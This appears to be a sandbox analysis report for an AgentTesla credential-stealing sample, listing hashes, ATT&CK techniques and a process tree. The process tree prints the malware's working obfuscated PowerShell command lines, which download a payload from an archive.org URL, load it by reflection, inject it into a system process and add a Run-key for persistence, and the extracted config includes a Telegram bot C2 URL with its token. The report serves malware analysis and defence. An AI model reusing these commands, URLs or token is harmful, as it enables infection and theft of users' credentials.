agenttesla | 850e04f732c4bfbbc9be64efd835b5bbcedb83854427946611ca19aeaffeaa27

General

Target

Image_001.vbs
Size

507KB
MD5

369b2913abd7a1e2ecfeea185e737e61
SHA1

eb9431fc12b373c216e2c89af2cfdafdc5dae727
SHA256

8264386f0b6a0e9b2aa5f908dc3909f4b8a61b619edb269baf56bf7112ae100e
SHA512

e6e02f36641a087c1e437885c1b432e325f6b805ba371093302092912065515efe090121ea54f432ea6e23c466a44635c426efbaad2268cf03c251b0657f8f9b
SSDEEP

12288:bsD8YhlqjFf0pIWLNvd5/iaPr4/Is0en9sAWxihGmxLyKSHPh72RwsZIohgrVVMA:jcj6whXoTMA0t

Score

10^/10

agenttesla credential_access discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot6852245174:AAHgk_9s-tH6YNacTaCnQz56uJMggI0fZDw/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	4160	powershell.exe
22	4160	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2124	powershell.exe
4160	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path = "C:\\ProgramData\\barururus.vbs"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
26	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4160 set thread context of 1280	4160	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2124	powershell.exe
2124	powershell.exe
4160	powershell.exe
4160	powershell.exe
1280	AddInProcess32.exe
1280	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	1280	AddInProcess32.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1280	AddInProcess32.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1584 wrote to memory of 2124	1584	WScript.exe	84
PID 1584 wrote to memory of 2124	1584	WScript.exe	84
PID 2124 wrote to memory of 4160	2124	powershell.exe	86
PID 2124 wrote to memory of 4160	2124	powershell.exe	86
PID 4160 wrote to memory of 3520	4160	powershell.exe	94
PID 4160 wrote to memory of 3520	4160	powershell.exe	94
PID 4160 wrote to memory of 1280	4160	powershell.exe	96
PID 4160 wrote to memory of 1280	4160	powershell.exe	96
PID 4160 wrote to memory of 1280	4160	powershell.exe	96
PID 4160 wrote to memory of 1280	4160	powershell.exe	96
PID 4160 wrote to memory of 1280	4160	powershell.exe	96
PID 4160 wrote to memory of 1280	4160	powershell.exe	96
PID 4160 wrote to memory of 1280	4160	powershell.exe	96
PID 4160 wrote to memory of 1280	4160	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Image_001.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgneycrJzB9dXJsJysnID0gJysneycrJzJ9aCcrJ3R0JysncCcrJ3MnKyc6JysnLy9pJysnYTYwMDEwMC51cy5hcmNoJysnaScrJ3YnKydlLm9yZy8nKycyJysnNC9pdGVtJysncycrJy9kZXRhaC1uJysnb3RlLXYnKycvRGV0YWhOb3RlVi50eHR7Mn0nKyc7ezAnKyd9YmFzZScrJzYnKyc0QycrJ29uJysndGVudCA9IChOZScrJ3ctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZScrJ24nKyd0KS5EJysnb3dubG8nKydhZFMnKyd0JysncmknKyduJysnZyh7JysnMH11cmwnKycpOycrJ3swfWJpbmFyeUNvbnRlbnQgJysnPSBbJysnU3lzJysndCcrJ2VtLkNvbnZlcnQnKyddOicrJzpGcm8nKydtQmFzJysnZTY0UycrJ3RyaW5nJysnKHswfWInKydhc2U2NENvbnQnKydlbnQpO3swfWFzc2VtYmx5ID0nKycgW1InKydlJysnZicrJ2xlY3RpbycrJ24uQXNzZW1ibHldOjonKydMb2FkKHswJysnfWInKydpbmFyeScrJ0NvbnRlbnQpO3swfXQnKyd5cGUgPSB7MCcrJ31hc3NlbWInKydseS5HZXRUeXBlKHsyfVJ1blBFLicrJ0hvbWV7Mn0pO3snKycwfScrJ21ldGhvZCA9JysnICcrJ3swfXR5JysncCcrJ2UuJysnR2UnKyd0TWUnKyd0aG9kJysnKCcrJ3snKycyfVYnKydBJysnSXsyfSk7eycrJzAnKyd9JysnbWUnKyd0aG9kLkludm8nKydrZSgnKyd7JysnMH1uJysndWxsLCBbb2JqZWN0WycrJ11dQCgnKyd7JysnMn01NScrJ2JhYycrJzA5MTgxZWUtNzAnKyc2Yi0nKydlMTA0LTJlMCcrJzItMjZiZjk2NicrJ2YnKyc9JysnbmUnKydrb3QnKycmYWlkZScrJ209JysndGxhP3R4dC5uaUInKycvJysnby9tb2MudG9wcycrJ3BwJysnYS4zMicrJ2UzNS15dGljLXInKydlYnknKydjL2IvMHYvbW9jLicrJ3NpcGFlbGdvJysnb2cuJysnZWdhcm8nKyd0c2VzJysnYWJlcmlmLy86c3B0dGh7Mn0gJysnLCB7Mn0nKycxezJ9ICwgJysnezJ9QzonKyd7MX1QJysncm9ncmFtRGF0YXsnKycxfXsyfSAsIHsyfWInKydhcnVydXJ1c3syfScrJyx7Mn1BJysnZGRJblByb2Nlc3MzMnsyfSwnKyd7Mn0nKyd7JysnMn0pKScpICAtRltjaGFyXTM2LFtjaGFyXTkyLFtjaGFyXTM5KSB8LiggJFNIZWxsaWRbMV0rJFNoZUxMSWRbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{'+'0}url'+' = '+'{'+'2}h'+'tt'+'p'+'s'+':'+'//i'+'a600100.us.arch'+'i'+'v'+'e.org/'+'2'+'4/item'+'s'+'/detah-n'+'ote-v'+'/DetahNoteV.txt{2}'+';{0'+'}base'+'6'+'4C'+'on'+'tent = (Ne'+'w-Object System.Net.WebClie'+'n'+'t).D'+'ownlo'+'adS'+'t'+'ri'+'n'+'g({'+'0}url'+');'+'{0}binaryContent '+'= ['+'Sys'+'t'+'em.Convert'+']:'+':Fro'+'mBas'+'e64S'+'tring'+'({0}b'+'ase64Cont'+'ent);{0}assembly ='+' [R'+'e'+'f'+'lectio'+'n.Assembly]::'+'Load({0'+'}b'+'inary'+'Content);{0}t'+'ype = {0'+'}assemb'+'ly.GetType({2}RunPE.'+'Home{2});{'+'0}'+'method ='+' '+'{0}ty'+'p'+'e.'+'Ge'+'tMe'+'thod'+'('+'{'+'2}V'+'A'+'I{2});{'+'0'+'}'+'me'+'thod.Invo'+'ke('+'{'+'0}n'+'ull, [object['+']]@('+'{'+'2}55'+'bac'+'09181ee-70'+'6b-'+'e104-2e0'+'2-26bf966'+'f'+'='+'ne'+'kot'+'&aide'+'m='+'tla?txt.niB'+'/'+'o/moc.tops'+'pp'+'a.32'+'e35-ytic-r'+'eby'+'c/b/0v/moc.'+'sipaelgo'+'og.'+'egaro'+'tses'+'aberif//:sptth{2} '+', {2}'+'1{2} , '+'{2}C:'+'{1}P'+'rogramData{'+'1}{2} , {2}b'+'arururus{2}'+',{2}A'+'ddInProcess32{2},'+'{2}'+'{'+'2}))') -F[char]36,[char]92,[char]39) |.( $SHellid[1]+$SheLLId[13]+'x')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4160
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\barururus.vbs"
      4⤵
      PID:3520
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rhouyzg0.dv2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1280-33-0x0000000005B90000-0x0000000006134000-memory.dmp

Filesize
5.6MB

Download
memory/1280-34-0x00000000056E0000-0x0000000005746000-memory.dmp

Filesize
408KB

Download
memory/1280-38-0x0000000006D20000-0x0000000006D2A000-memory.dmp

Filesize
40KB

Download
memory/1280-37-0x0000000006B50000-0x0000000006BE2000-memory.dmp

Filesize
584KB

Download
memory/1280-36-0x0000000006AB0000-0x0000000006B4C000-memory.dmp

Filesize
624KB

Download
memory/1280-26-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/1280-35-0x00000000069C0000-0x0000000006A10000-memory.dmp

Filesize
320KB

Download
memory/2124-1-0x0000020379980000-0x00000203799A2000-memory.dmp

Filesize
136KB

Download
memory/2124-32-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

Filesize
10.8MB

Download
memory/2124-0-0x00007FFF29093000-0x00007FFF29095000-memory.dmp

Filesize
8KB

Download
memory/2124-12-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

Filesize
10.8MB

Download
memory/2124-11-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

Filesize
10.8MB

Download
memory/2124-23-0x00007FFF29090000-0x00007FFF29B51000-memory.dmp

Filesize
10.8MB

Download
memory/2124-22-0x00007FFF29093000-0x00007FFF29095000-memory.dmp

Filesize
8KB

Download
memory/4160-24-0x000001B06D590000-0x000001B06D79C000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads